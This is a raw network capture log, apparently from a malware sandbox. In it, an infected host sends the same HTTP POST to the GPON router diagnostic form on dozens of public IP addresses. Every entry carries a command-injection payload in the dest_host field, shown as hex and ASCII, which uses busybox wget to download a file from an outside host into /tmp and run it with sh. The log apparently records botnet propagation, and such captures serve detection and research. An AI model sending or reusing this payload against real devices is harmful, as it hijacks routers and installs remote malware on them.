Apr 14, 2024 03:59:52.108292103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	50826	117.134.141.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108354092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	38480	212.227.51.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108438969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	44614	2.9.117.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108447075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	48688	148.121.84.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108496904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	37450	178.130.49.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108536005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	39354	123.83.77.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108571053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	50526	79.237.29.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108661890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	51300	109.158.51.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108661890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	47750	94.195.244.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108707905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	46106	148.83.222.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108741045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	47954	109.230.172.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108822107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	40014	94.99.213.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108855009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	45006	148.15.194.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108860970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	35180	79.7.121.204	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108911991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	36246	109.150.254.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.108964920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	57960	202.190.12.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109085083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	37920	123.236.80.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109087944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	58744	212.110.91.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109091043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	47258	118.140.213.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109143019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	49144	210.175.103.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109170914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	37638	178.214.66.7	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109266996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	56322	42.132.39.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109271049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	51074	123.183.247.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109344006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	57660	148.138.143.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109442949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	38386	37.92.249.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.109452009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
